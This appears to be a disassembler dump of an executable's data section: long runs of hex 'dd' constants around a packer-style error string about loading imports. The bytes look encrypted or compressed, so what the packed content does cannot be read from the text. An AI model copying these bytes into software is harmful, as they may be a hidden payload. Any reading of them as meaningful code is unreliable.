		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 0A1A79016h, 0CF707CC6h, 73F0B5C6h, 0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0BADEE7A2h, 497D7C9Ah
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 0E617FB04h, 0F8FB77FBh, 78325925h, 7D80F1CDh, 75FD725Ch
		dd 145989F2h, 75F9B8B0h, 5640F7DCh, 46FB7791h, 75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 78325958h, 74C2FBF4h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	5640F7ABh
		dd 0CDFB772Ah, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 4578F7EFh, 8AFB7758h, 0E9CA8BD0h, 3Bh, 0FDBD8B60h, 8306070Fh
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0ADE9C8h, 84EB0000h
		dd 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah, 0AA875AA2h, 0B4796FEh
		dd 81E9BF98h, 0DB23754Ch, 167E2406h, 0ADB59BFBh, 51E556F2h
		dd 1103001Eh, 7C250B81h, 44FA4560h, 403004Eh, 0C3E0323Ch
		dd 0A239A363h, 0BBE9CA45h, 95C3DCBDh, 73BBE3A3h, 6041DA85h
		dd 9827D43Ch, 5B050DCBh, 0FA34ADC7h, 761C0AF8h,	8CB3C5FAh
		dd 3EAFA35h, 16000000h,	4BA2FF79h, 58BE1B1Dh, 0B99504F2h
		dd 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh
		dd 163FE78h, 6832D95Fh,	60DD549h, 0F9A791E9h, 4D290DFFh
		dd 0A3BA72Fh, 99D4D57h,	0B89ED988h, 60DD5DEh, 4EBC503h
		dd 63459C92h, 0D9DE9h, 0D86E6800h, 67E9060Dh, 68FFF9A7h
		dd 60DD991h, 0F9A75DE9h, 0DA8768FFh, 53E9060Dh,	68FFF9A7h
		dd 60DDB21h, 0F9A749E9h, 0DE2268FFh, 3FE9060Dh,	68FFF9A7h
		dd 60DE111h, 0F9A735E9h, 0E21168FFh, 2BE9060Dh,	0ECFFF9A7h
		dd 0AAA7CF99h, 1DF0184Eh, 0D00D5503h, 8845ADF3h, 4091F9AFh
		dd 0D4809D06h, 2E72518Ch, 792F0BC6h, 0B0E6FC11h, 0E25DF7A8h
		dd 3001D5Ch, 0E53EB41Ch, 0FD7B2D04h, 2B0419C9h,	3C1EFB7Dh
		dd 0EEE40E56h
		dd 0BA500660h, 0DCB05B9h, 357D4505h, 0EA8B9C9Fh, 892B0F34h
		dd 0AD408AEh, 99CF2903h, 6D1F1BE5h, 6306E0D2h, 8A05F33Bh
		dd 30A8530h, 0ED6B3111h, 0D543156Ch, 1DEDC713h,	5D295107h
		dd 470D6AC7h, 0D6694387h, 56F01A7Bh, 0FDED2B30h, 804A1A42h
		dd 0B5E1C9C3h, 374Ah, 7F958E00h, 41B1A8E0h, 0D3C95F54h
		dd 33F27CE2h, 52083096h, 394160ECh, 11B1A07Eh, 701BE84Bh
		dd 9BAB0F34h, 1F98229Dh, 0FCD0030Ah, 3F3211F8h,	7F9B5E2h
		dd 7F000000h, 8E75Eh, 44A2DA00h, 51A2441Eh, 50DCBEDh, 6CCF85ADh
		dd 50DCBCAh, 0CEABA8Ah,	87EFB58Dh, 944E177Dh, 67DF58F2h
		dd 27050DCBh, 4FEC4F1Fh, 0F0F3498h, 4DE73127h, 0AFA4CF2h
		dd 64240C03h, 0AFA3B87h, 683E1A03h, 8B1373EEh, 4CCEC76Bh
		dd 69EF17F2h, 6C515BBFh, 29308498h, 0B5E2386Ah,	0DD61D274h
		dd 0FC030A02h, 223FB3E5h, 0B6569EC4h, 43A9h, 7F95AF00h
		dd 9BC395F3h, 0F6D22FC1h, 2EFEB6A0h, 34C198CDh,	47DA780Fh
		dd 873F3C6Ch, 0C7030AC1h, 0CE41B7FFh, 30AC16Ch,	45CC2024h
		dd 0B5E174FEh, 21A7AC0h, 307B7E83h, 0DE9680D6h,	0FF69F696h
		dd 0EF000000h, 181E44A2h, 63DB24FEh, 23050DCBh,	8DEE7313h
		dd 0F2643212h, 4A8C8AB2h, 9F8F4AB0h, 0C7756C62h, 0D31E254h
		dd 0F292A205h, 60D3176Fh, 50D31DEh, 3365439Eh, 115981C5h
		dd 0F65CBA27h, 6495EE5Ch, 0A00696Ch, 19C1325Ah,	0B8050D03h
		dd 71ECF45Ah, 7BCD4B11h, 0F892486Dh, 0D08C77Fh,	0EFBF8705h
		dd 7D5EB355h, 0AF652117h, 0D08EA4Ch, 0CA9AAA05h, 345C8C69h
		dd 0ECF43C0Fh, 0B9530046h, 35FFEABEh, 0AC664E09h, 0DC24704Dh
		dd 99702401h, 912311Dh,	903C51D7h, 0CC00000Ah, 8A47AFF9h
		dd 7D90F8AEh, 302D3563h, 0E8658DD3h, 60B1D98Fh,	0B4E0FDE6h
		dd 0E52B1ACh, 590F6BE6h, 90C6DC31h, 0C23DD748h,	300137Ch
		dd 0A2DE543Ch, 51CB1341h, 3609BF8h, 63ABDB5Dh, 7B9E77F5h
		dd 5C870753h, 39FD7E14h, 79050DEEh, 0AE849949h,	0D5AB303Eh
		dd 0C2213F3Bh, 0A4EC989Eh, 6A4BA67Ch, 0D4743026h, 7F95C6BCh
		dd 0DA936C26h, 1C0F34C1h, 81B3233Dh, 434108B2h,	386CEA12h
		dd 4ACCF468h, 0AE169D1h, 0C72D2103h, 0E1950340h, 0F88AB5h
		dd 936E0000h, 0BB21E1B7h, 0EE2A04E5h, 0DCBA90Dh, 91D9E905h
		dd 95166CF1h, 0B5A3EBB9h, 0C79DCB24h, 0CB6CD22Dh, 42C050Dh
		dd 0F2642809h, 9B1412B2h, 50DC447h, 0B2DA80E6h,	0AB220118h
		dd 65D31B4Dh, 86CE98F4h, 351B7BC6h, 0C47AC59Fh,	84050DCFh
		dd 0B80AECBCh, 0E05309AAh, 0F349B07h, 74D58FB7h, 7199491Fh
		dd 22F8BDABh, 353708D1h, 0D72DC809h, 0BD835981h, 0BCE8D535h
		dd 58BE93A8h, 0B18852F2h, 65F80054h, 3C55C08h, 0A10911E6h
		dd 96DD2ABh, 0DC330000h, 8BE9648Ch, 44A0BDC5h, 3E17CA12h
		dd 0F2CF026Ah, 0C3BF5EA6h, 4991C720h, 83EBBD94h, 0DE266C4Eh
		dd 157D2303h, 991D1EBAh, 0D9030012h, 41A2F349h,	0BF51CB13h
		dd 0DCBFABCh, 1BA39C05h, 5B050DCBh, 0C23D976Bh,	50DCB7Ch
		dd 1CCCF43Ch, 0EE92101h, 50DCBA8h, 75E3A989h, 14E7BD31h
		dd 50DCBA2h, 62AAD2E2h,	44A2A01Ah, 59B9181Eh, 9B9DC326h
		dd 4D5BA3EBh, 1E478DC6h, 0EFBAFB44h, 7A4A0F34h,	4EA4851Fh
		dd 34EB4818h, 0EEAD7184h, 0AE48F700h, 5EEA24Bh,	3BD45AF9h
		dd 9DC321A2h, 0CB4AEB55h, 406AF3EFh, 75C8A80h, 7056AB4Dh
		dd 5CF97A2Ah, 0ECA0F644h, 92F052C4h, 90280BC1h,	2CA6F6ECh
		dd 1711A596h, 0B451AAC2h, 460E085Eh, 9A3CD61Eh,	0C2172599h
		dd 7E2804AAh, 5B0D6782h, 0A161A9DDh, 7A20061Bh,	0B1E7FF12h
		dd 50B07258h, 730A0059h, 877h, 7E86C225h, 0B7DF81E3h, 0C42C7A5Ah
		dd 1C642809h, 0A8B0E4C1h, 0F5D6CD89h, 0AF8A47AFh, 627C91F9h
		dd 0D1312C34h, 8AC638Bh, 11972Fh, 0F54FD703h, 905917E5h
		dd 84722603h, 6A1E5EC0h, 0A5F3CC41h, 0CE53F3B3h, 12B4A2E8h
		dd 53F5AFF4h, 43B59BFEh, 4FA6D6C5h, 1F47FCF8h, 0CA4FEC4Fh
		dd 270F0F34h, 0E4B28C6Dh, 0A3F5D32Eh, 1476EBE3h, 330EC84Eh
		dd 0D09482D6h, 0CA8B3330h, 6B4030Ah, 10030AFAh,	8EBA1F2h
		dd 933EACFh, 9001F73Fh,	0A775ECB2h, 6509206Eh, 7DD8EEFh
		dd 0AC830000h, 1B7994FCh, 0D4302D35h, 8EE77A82h, 425FB2DAh
		dd 332FCE16h, 0F90157B0h, 335B0D64h, 4E96FCDEh,	85EDB393h
		dd 298D6E0Ah, 69030010h, 7F9503F9h, 1BC666E0h, 78A035B3h
		dd 429451A2h, 5C640F34h, 0E6657FDAh, 295DDB81h,	7D3E8073h
		dd 367E030Ah, 96BE60Eh,	1077D147h, 0C0AE8943h, 70030A7Dh
		dd 6D4BD640h, 475C3D3Bh, 0BBBDEBC4h, 3755C30Bh,	9AE4C923h
		dd 445C2E86h, 83E17812h, 7B2B5BDDh, 7D5AE013h, 74C030Ah
		dd 0DDB5865Ch, 6D030A7Dh, 0C0203D45h, 9327989Eh, 0B1030A7Eh
		dd 49AB43A9h, 662FF07h,	2565E650h, 0A4030A7Dh, 0BF1A1C4Ah
		dd 6D02F4A4h, 0F41A9F15h, 127608ECh, 0C91E244Ch, 83E0637Fh
		dd 0E32B5BDDh, 0A516E1BBh, 0C3030A7Dh, 53FBAA7Dh, 4B1B2244h
		dd 989B3D97h, 30A8D26h,	59DD5E66h, 78030A8Dh, 85C13719h
		dd 65330CE9h, 8803F53Dh, 0F7EDE1ABh, 52B53F13h,	224088F5h
		dd 16EBCh, 4E5B800h, 2A5AB828h,	0B0DD83DFh, 4BC68E88h
		dd 0AC66266Ah, 58ED3BA6h, 7BB0D4A4h, 4D9E9933h,	0CB0F34D3h
		dd 0CC4A1076h, 3523714Dh, 0E5994971h, 0CB6D07DDh, 0AD8D668h
		dd 0FEAE9603h, 355D0363h, 0A294FAD8h, 0F00D7729h, 0A1F7D288h
		dd 9AC82AB7h, 804A2E9Ch, 0C02F83D3h, 2A8F6561h,	0A535BF1Bh
		dd 62FF074Dh, 4ED85E04h, 0DF325A19h, 35A492C6h,	3BDD77DDh
		dd 4C808638h, 1B4DA784h, 0AD95691Dh, 1A7895FDh,	7BC49E34h
		dd 844C80C3h, 7A5EB383h, 20F27414h, 0E7A7EDC9h,	0F25EC004h
		dd 876D6972h, 0A1C99FF7h, 160056ACh, 5F657ECCh,	3CB4031Ch
		dd 0F2A1A66Ch, 0DB67DF58h, 1F27F6C6h, 6B391AF7h, 0F5D62BEDh
		dd 3E55FFAFh, 0D64CAF65h, 80F6C6DBh, 6B90B2BAh,	9848AF2Bh
		dd 672D09E4h, 721273F1h, 824DCD97h, 7EB0D45Ah, 77F5BC79h
		dd 8C6D274Fh, 3E76E0B6h, 0EDB3936Eh, 0C78DEE6Bh, 0C52F3351h
		dd 6F77DD35h, 48CE94F2h, 10CAE9FEh, 0C671A727h,	87EFD7F6h
		dd 80D62C0Dh, 3F657DC0h, 287E5839h, 0E75FD872h,	0A7F6C671h
		dd 0E869CF9Fh, 0FD5CDA8Ch, 0D245B3E1h, 0DD872C80h, 1BF6353Bh
		dd 7FB5E08Fh, 0A941ABAFh, 66FB0349h, 4ADC5A00h,	0B38C461Dh
		dd 0F6C6BE3Fh, 0D20F575Fh, 11E8A2F0h, 0BAEA6C30h, 0ADBA0CEAh
		dd 6BE35CF6h, 0BF6C6BEh, 0A259D33Bh, 2CF61E44h,	54A77D26h
		dd 0F349EA3h, 0E7B95363h, 0E14CF24Dh, 240C030Ah, 49BCD43Ah
		dd 2FFFFB54h, 5AA2F0D2h, 7BFDAB87h, 8F68BBA9h, 30A0A37h
		dd 4D074F77h, 330849F2h, 3F390909h, 4EF043E5h, 0E050D08h
		dd 35856626h, 23050D38h, 1B49A525h, 0F1A7BC1Dh,	4D074F07h
		dd 0D184CF2h, 0FC240C05h, 0A7E9CB26h, 25E25DE7h, 0F30F3428h
		dd 0E1573D1Eh, 4979E5A5h, 0F65CBE93h, 0A2844400h, 9089DF37h
		dd 318B04Eh, 0DC3F5ED4h, 80000004h, 7E93FBADh, 312C341Ah
		dd 0E47981D7h, 5CB1D98Fh, 2CCD1543h, 54B132h, 5A0E65F8h
		dd 95C3DF32h, 0ECB2904Dh, 8E690B84h, 3001528h, 0E502F868h
		dd 9ED8017h, 0E5A55E8Ah, 4FA9392Fh, 383BD119h, 0F34AD37h
		dd 85EBA57h, 0EE683C15h, 45A47EA6h, 1A3C3A6Eh, 0A8FA519h
		dd 95DDE503h, 48A173F5h, 763E386Eh, 63D5BB9Bh, 3B806323h
		dd 73030A8Fh, 0D5B2951Fh, 5CB5E1ABh, 0A0h, 0CB2EBC98h
		dd 603A050Dh, 0CBC96DCEh, 0B989050Dh, 0B68C01E9h, 0FE902AE0h
		dd 0DCBB97Dh, 4AC9F905h, 50DCBF4h, 177D59B4h, 0DD73FEFh
		dd 8C320DC4h, 0CC050DCBh, 15E6BCE4h, 50DCB99h, 855FD9E9h
		dd 0CBAE10E3h, 0C6EE050Dh, 75DB3B06h, 0D582C76Dh, 94C2223Fh
		dd 51CD2EF4h, 21050DCBh, 5CBA2711h, 0E4FD5CF6h,	85C846B0h
		dd 3488285Bh, 97FFAFD7h, 855F044Dh, 0D7220BAh, 0BA506005h
		dd 4E1E4AA7h, 32CB77E8h, 119050Dh, 0B6EDE4ABh, 32BF231Ch
		dd 0B7FF050Dh, 0D24EAFh, 77CA0000h, 0E19B4B1Dh,	6C267F95h
		dd 34FB5293h, 8454A20Fh, 0F1280DCFh, 8415034Bh,	4993FBADh
		dd 0D569CA15h, 95030AFCh, 0CC4A1C78h, 72285098h, 0AFC0181h
		dd 0D7417103h, 0AFCE554h, 89DF3803h, 0A531128Fh, 0C1B25CDBh
		dd 0D0468EC0h, 0C5EAC216h, 70C72D21h, 0D4D95DDEh, 6F99FCF5h
		dd 430B369h, 73135B2Eh,	0D2DABA99h, 916204A9h, 0FCF5A02Dh
		dd 0EEC8456Dh, 56F6BEB8h, 57C9h, 0F7D22F00h, 54D1B74h
		dd 71959F45h, 298D6E24h, 69050DCBh, 7FBD8359h, 0AF497600h
		dd 71E04606h, 1C264E12h, 6F1ABF8h, 50D1D44h, 0B70FE882h
		dd 0F7050D1Dh, 227052CFh, 4970FE62h, 734EDC99h,	0D04BCDF5h
		dd 50DB96Ah, 854CA0B8h,	0FD7E1441h, 50DB9CDh, 7FD052Dh
		dd 181E44A2h, 966159B9h, 50DCB20h, 0C0285060h, 0DD772C3Ah
		dd 3498D962h, 0AFA9990Fh, 0AFA8E2Ch, 0EAC2C603h, 0C99FFA57h
		dd 98147319h, 2B9BB5E1h, 59000000h, 6C267F95h, 34C1DA93h
		dd 9F983A0Fh, 30AC127h,	0E2C25F67h, 118A8CB4h, 30AC1A9h
		dd 7EDE1h, 0B5E17543h, 0E2CAh, 44A20E00h, 0A8F6441Eh, 28F06D0Fh
		dd 0A6D066D1h, 0A090050Dh, 1D72F678h, 1E90213Bh, 0C69E84Eh
		dd 53AF8258h, 118B1B05h, 780EDB0Eh, 0F3D34EA8h,	0E25DF7ADh
		dd 50D465Ch, 0F274141Ch, 0F79F0F67h, 0F65AB977h, 0C8273608h
		dd 0F6BEB8EEh, 0FD7E86CEh, 50D0A5Dh, 1AB0E6FCh,	0F97F2907h
		dd 18F51DCDh, 0B0BE543Ah, 0D1A1F83h, 0A48242B7h, 0C59FC402h
		dd 34554D7Ah, 1FB5FD0Fh, 5744FA45h, 3C04030Ah, 88DE646Ch
		dd 9DC631EBh, 6D09358Bh, 51B28F45h, 8AE34903h, 43AE7FA0h
		dd 409DF595h, 10D83167h, 0A60911ECh, 1EDCDA0h, 5CB30000h
		dd 0B69E40Ch, 0C4203D45h, 0BE974A92h, 724F82EAh, 433FDE26h
		dd 0C91147A0h, 36B3D14h, 5EA6ECCEh, 95FDA383h, 199D9E3Ah
		dd 5903002Ah, 41A273C9h, 3016CB13h, 95A8026Ah, 9E6C267Fh
		dd 0F0C8B151h, 0C59F4F56h, 3415357Ah, 381EF30Fh, 0E6CEB252h
		dd 1543FF70h, 170B030Ah, 48DDBA9Dh, 0D9A4B5E2h,	80000000h
		dd 19A90DEEh, 0D9E9030Ah, 44A25309h, 63FE181Eh,	0E5AB8803h
		dd 0D0B3373h, 5BB48959h, 6B94A1CBh, 97DF590Fh, 0D14D7EA9h
		dd 0EE2CAFA9h, 4F050DCFh, 966B2177h, 3E76E0B6h,	8BEB666Eh
		dd 48210FC5h, 163A3DA6h, 696FC0E3h, 0DF075C2Ch,	499F290Fh
		dd 6EDC762Ch, 0C67F42A6h, 4EAD7DD3h, 0F34D261h,	7399E1D1h
		dd 0A98A4015h, 935031Fh, 18F8BF8Dh, 0B37E90A1h,	0B0926F13h
		dd 83074E2h, 0B6E2FF52h, 45F97A1Ch, 505036Eh, 0E8656D3Dh
		dd 0B240D98Fh, 700911E7h, 0EDE3FAh, 5CB30000h, 0B69E40Ch
		dd 0C4203D45h, 0BE974A92h, 724F82EAh, 433FDE26h, 0C91147A0h
		dd 36B3D14h, 5EA6ECCEh,	95FDA383h, 199D9E3Ah, 59030029h
		dd 41A273C9h, 0BCBAE0C6h, 0A5B8C008h, 5FF074Dh,	0B38C44A2h
		dd 50DCB0Bh, 9C9AC82Ah,	0E42C14E8h, 0C8FE772h, 0BE00F337h
		dd 0FE050DCBh, 3E468EB6h, 1070FE14h, 549CC84Eh,	35FEBDBEh
		dd 72420F3Eh, 3B6141D8h, 5FD9893Dh, 56BEE4C2h, 3F55BBBh
		dd 0F89FEE88h, 230913E6h, 1771E3BFh, 0D2C1DF41h, 42AAAE7Eh
		dd 54EA55EFh, 14664872h, 81E17C2Ch, 785EB3DBh, 58F22412h
		dd 487267DFh, 4F1F2766h, 49CF95F2h, 7ACD273Bh, 72EF57A0h
		dd 87AF6648h, 7FF9AF8Ah, 0AC8A9737h, 25049EE6h,	0E99D9BC9h
		dd 4DCE2439h, 270AE975h, 6E8001E3h, 2B936C26h, 6B66480Eh
		dd 4825135Bh, 3, 0A2FF79F0h, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h
		dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh
		dd 32D95F01h, 5E08950h,	4, 3304E883h, 4312404h,	24043324h
		dd 6336685Ch, 3C890000h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 2414895Ch, 0B8B95155h, 0F7429007h, 814149D9h
		dd 9DDE06C1h, 59CD8948h, 685DEF89h, 7561h, 83242489h, 5A042404h
		dd 89FB8953h, 1C8B085Ah, 4C48124h, 0FF000000h, 815A2434h
		dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFF999DAh, 6961DAE5h
		dd 23B85E61h, 3060DE3h,	0ADE0FFC5h, 0CC04C721h,	0F67E12ECh
		dd 3F773FEBh, 0E80DE164h, 0Eh, 8D24101h, 0E3BE3229h, 1071CDA0h
		dd 8A0F12E3h, 2, 8158D78Bh, 2EC3FFF7h, 65C08153h, 8B000068h
		dd 19EA68D9h, 8E90000h,	52000000h, 0DEBE6794h, 59920742h
		dd 0FFD68B66h, 5AD28130h, 5E4C0D21h, 0BE956h, 483E0000h
		dd 6E6199DCh, 37349FD7h, 0F6815B93h, 64BA843h, 81F9B70Fh
		dd 58AC8EC6h, 81F48A23h, 0B22F0CF6h, 5CBF6633h,	8B66563Ch
		dd 80008FD0h, 0E88198DBh, 765A1595h, 91C081F5h,	0BF765A15h
		dd 0A87CB69h, 0F01E983h, 1185h,	0B93BA00h, 22E96BB4h, 21000000h
		dd 5208DF8h, 0F88BFF24h, 0FFFF8EE9h, 83941EFFh,	6822C58Ch
		dd 0F8893B3Ch, 0EA9825h, 0AD817BCCh, 818D8DBCh,	0E9060DE5h
		dd 0Fh,	463E8CA6h, 0C8C87195h, 0DACA6649h, 89C2BBF0h, 71B418Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B8661EE1h, 85C783F8h, 6070605h,	5D14h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3FC35343h
		dd 0CAABDA27h, 0E5CB4FEDh, 9E9C3h, 71130000h, 6DDC97Eh
		dd 0C746E8E3h, 7006985h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0DC8023E3h
		dd 0A5B5FF9Fh, 6A06070Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 8984C355h, 0CE487033h
		dd 0E9818263h, 12h, 2A5613F3h, 67B69D28h, 0CD2E5F20h, 52C21D1Fh
		dd 0FFF8A89Dh, 701E195h, 65B53306h, 6A06072Bh, 195FF00h
		dd 8B060732h, 0A618EBC0h, 8B6D40Ah, 18324B2Dh, 3065116Fh
		dd 0B7700883h, 3C44E0CCh, 0E9789077h, 127h, 73765B50h
		dd 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	238F96A6h
		dd 11341257h, 35B11C13h, 42351F33h, 722B6166h, 0A9F29E35h
		dd 88321177h, 6F9F90EFh, 0BFBF1361h, 173BA694h,	0D069C699h
		dd 4E67A8E5h, 56321361h, 0A9614571h, 88321177h,	6F9F90EFh
		dd 0BFBF1361h, 173BA587h, 0D069C699h, 0F9B1D5EDh, 243FF094h
		dd 1B61A66h, 5321566h, 49E6BAE3h, 0AFE2EA60h, 1CE6CAE3h
		dd 4EE2EA60h, 432E58E3h, 705A4360h, 0EEAEBDDEh,	8F20F8D3h
		dd 0BAB79860h, 0DD341F1Ah, 74B79CB6h, 534127Dh,	49D4D7E3h
		dd 0A7BF4560h, 173FF0C5h, 25A7EA36h, 83341247h,	252AECE3h
		dd 11321560h, 0C5B7D366h, 134127Ah, 505B7C0Eh, 0B887EAE8h
		dd 5341267h, 430806E3h,	0ABE2EA60h, 161308E3h, 0C5B7D360h
		dd 734127Ah, 45594B0Eh,	0B887EAFAh, 5341267h, 430806E3h
		dd 0ABE2EA60h, 1CD7CFE3h, 0C5B7D360h, 1034127Ah, 405A3C0Eh
		dd 0B887EA88h, 5341267h, 430806E3h, 0ABE2EA60h,	1CD7CBE3h
		dd 0C5B7D360h, 134127Ah, 420AD70Eh, 0B887EABCh,	5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD7F7E3h, 1D8F9660h,	4434127Fh
		dd 22779069h, 94F41566h, 8E35092Bh, 3AB47D23h, 97CDEF46h
		dd 173514CFh, 0B22190EBh, 94CD1361h, 0C7D490EFh, 94F4136Bh
		dd 8E35092Bh, 94F17D2Ah, 97CDF540h, 173514CFh, 0B22190EBh
		dd 94CD1361h, 0C7D890EFh, 51DB136Bh, 4E321566h,	432E58E3h
		dd 2F5A4760h, 0EE8E5F82h, 8F1D64D3h, 57B79860h,	0DD34125Ch
		dd 0F7B79CB6h, 4E341883h, 432E58E3h, 6A5A4760h,	0EE94592Ch
		dd 8F1D64D3h, 57B79860h, 0DD34125Ch, 0FBB79CB6h, 4E341883h
		dd 432E58E3h, 0C85A4760h, 0EECF57D2h, 8F33BCD3h, 57B79860h
		dd 0DD34125Ch, 0F8B79CB6h, 4E341246h, 432E58E3h, 815A6260h
		dd 0EEC182CEh, 8F24A8D3h, 57B79860h, 0DD34125Ch, 68B79CB6h
		dd 4E341244h, 432E58E3h, 355A4760h, 0EEB8C857h,	8F33BCD3h
		dd 57B79860h, 0DD34125Ch, 8B79CB6h, 4E341249h, 432E58E3h
		dd 1B5A4360h, 0EEE60A0Bh, 8F20F8D3h, 0BAB79860h, 0DD341F1Ah
		dd 4B79CB6h, 4E341273h,	432E58E3h, 585A5260h, 0EEB3C976h
		dd 8F33BCD3h, 57B79860h, 0DD34125Ch, 88B79CB6h,	4E341248h
		dd 432E58E3h, 0C05A5260h, 0EEB81AD3h, 8F33BCD3h, 57B79860h
		dd 0DD34125Ch, 1BB79CB6h, 0B341880h, 432774DBh,	0A63D1560h
		dd 11321337h, 947F90A0h, 2C7E1361h, 0FBE8098Fh,	109BA099h
		dd 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF090h,	947F90A0h
		dd 2C7E1361h, 0FF46CBA8h, 109BA099h, 0DBF1361h,	42352F75h
		dd 0A7BBC599h, 173FF09Ch, 947F90A0h, 2C7E1361h,	95B39759h
		dd 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h,	173FF098h
		dd 947F90A0h, 2C7E1361h, 911D557Eh, 109BA099h, 0DBF1361h
		dd 42352F75h, 0A7BBC599h, 173FF098h, 947F90A0h,	2C741361h
		dd 98EC1372h, 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h
		dd 173FF360h, 947F90A0h, 2C751361h, 0A3EE051Ch,	109BA099h
		dd 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF368h,	947F90A0h
		dd 2C751361h, 0CDB59BCAh, 109BA099h, 0DBF1361h,	42352F75h
		dd 0A7BBC599h, 173FF374h, 947F90A0h, 2C751361h,	0F6A8B2B4h
		dd 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h,	173FF370h
		dd 947F90A0h, 2C751361h, 98F32C62h, 109BA099h, 0DBF1361h
		dd 42352F75h, 0A7BBC599h, 173FF37Ch, 968BA8E5h,	31321361h
		dd 6FB7D346h, 5634127Ah, 0FA1F720Eh, 0ED87EA86h, 0AF341267h
		dd 160806E3h, 1E2EA60h,	49D40BE3h, 6FB7D360h, 5634127Ah
		dd 0A181A40Eh, 0ED87EAE8h, 0AF341267h, 160806E3h, 1E2EA60h
		dd 49D437E3h, 6FB7D360h, 5234127Ah, 0FE78B20Eh,	0ED87EAA6h
		dd 0AF341267h, 160806E3h, 1E2EA60h, 49D433E3h, 6FB7D360h
		dd 5D34127Ah, 0EE5EFE0Eh, 0F987EA9Dh, 0AF341270h, 160806E3h
		dd 1E2EA60h, 49D4AFE3h,	6FB7D360h, 5534127Ah, 0FBBC400Eh
		dd 0ED87EADDh, 0AF341267h, 160806E3h, 1E2EA60h,	49D43FE3h
		dd 6FB7D360h, 5234127Ah, 65CE90Eh, 0ED87EADAh, 0AF341267h
		dd 160806E3h, 1E2EA60h,	49D43BE3h, 6FB7D360h, 4234127Ah
		dd 980CBF0Eh, 0ED87EAA0h, 0AF341267h, 160806E3h, 1E2EA60h
		dd 49D427E3h, 438F9660h, 11341245h, 88D29169h, 0C1F41566h
		dd 2435092Bh, 0DF037D20h, 3DCDEFF0h, 423514CFh,	182190EBh
		dd 0C1CD1361h, 6EBC90EFh, 0C1F4136Bh, 2435092Bh, 2BE47D20h
		dd 3DCDE9C1h, 423514CFh, 182190EBh, 0C1CD1361h,	6EAC90EFh
		dd 0C1F4136Bh, 2435092Bh, 0B5327D20h, 3DCD879Ah, 423514CFh
		dd 182190EBh, 0C1CD1361h, 6E9090EFh, 0C1F4136Bh, 2435092Bh
		dd 5E587D20h, 3DCDE3B2h, 423514CFh, 182190EBh, 0C1CD1361h
		dd 6E9490EFh, 0C1F4136Bh, 2435092Bh, 41D57D20h,	3DCD81ABh
		dd 423514CFh, 182190EBh, 0C1CD1361h, 6EA090EFh,	0C1F4136Bh
		dd 2435092Bh, 65097D20h, 3DCDA444h, 423514CFh, 182190EBh
		dd 0C1CD1361h, 6EA490EFh, 0C1F4136Bh, 2435092Bh, 0FBDF7D20h
		dd 3DCDCA1Fh, 423514CFh, 182190EBh, 0C1CD1361h,	6EA890EFh
		dd 0F9B1136Bh, 24350BDFh, 0D7126066h, 8F2E58E3h, 1A5A4660h
		dd 0DDFCAB86h, 1633BCD3h, 9BB79860h, 0BB34125Ch, 14B79CB6h
		dd 0D7341880h, 8F2E58E3h, 0C35A5260h, 0DDF5A438h, 1633BCD3h
		dd 9BB79860h, 0BB34125Ch, 18B79CB6h, 92341880h,	8F2CACDBh
		dd 64471560h, 3E7F90A0h, 79751361h, 6E506B63h, 459BA099h
		dd 0A7BF1361h, 17352F75h, 0DBBC599h, 423FF358h,	3E7F90A0h
		dd 79711361h, 1A481C90h, 459BA099h, 0A7BF1361h,	17352F75h
		dd 0DBBC599h, 423FF324h, 3E7F90A0h, 79711361h, 74138246h
		dd 459BA099h, 0A7BF1361h, 17352F75h, 0DBBC599h,	423FF320h
		dd 3C8BA8E5h, 64321361h, 0C5B7D326h, 734127Ah, 229A160Eh
		dd 0B887EAEDh, 5341267h, 430806E3h, 0ABE2EA60h,	1CD45BE3h
		dd 0C5B7D360h, 734127Ah, 7904C00Eh, 0B887EA83h,	5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD45FE3h, 0C5B7D360h, 734127Ah
		dd 8800F40Eh, 0B887EA8Ch, 5341267h, 430806E3h, 0ABE2EA60h
		dd 1CD447E3h, 0C5B7D360h, 734127Ah, 0D39E220Eh,	0B887EAE2h
		dd 5341267h, 430806E3h,	0ABE2EA60h, 1CD443E3h, 0C5B7D360h
		dd 0B34127Ah, 17A2C10Eh, 0B887EAF1h, 5341267h, 430806E3h
		dd 0ABE2EA60h, 1CD44FE3h, 0C5B7D360h, 0B34127Ah, 4C3C170Eh
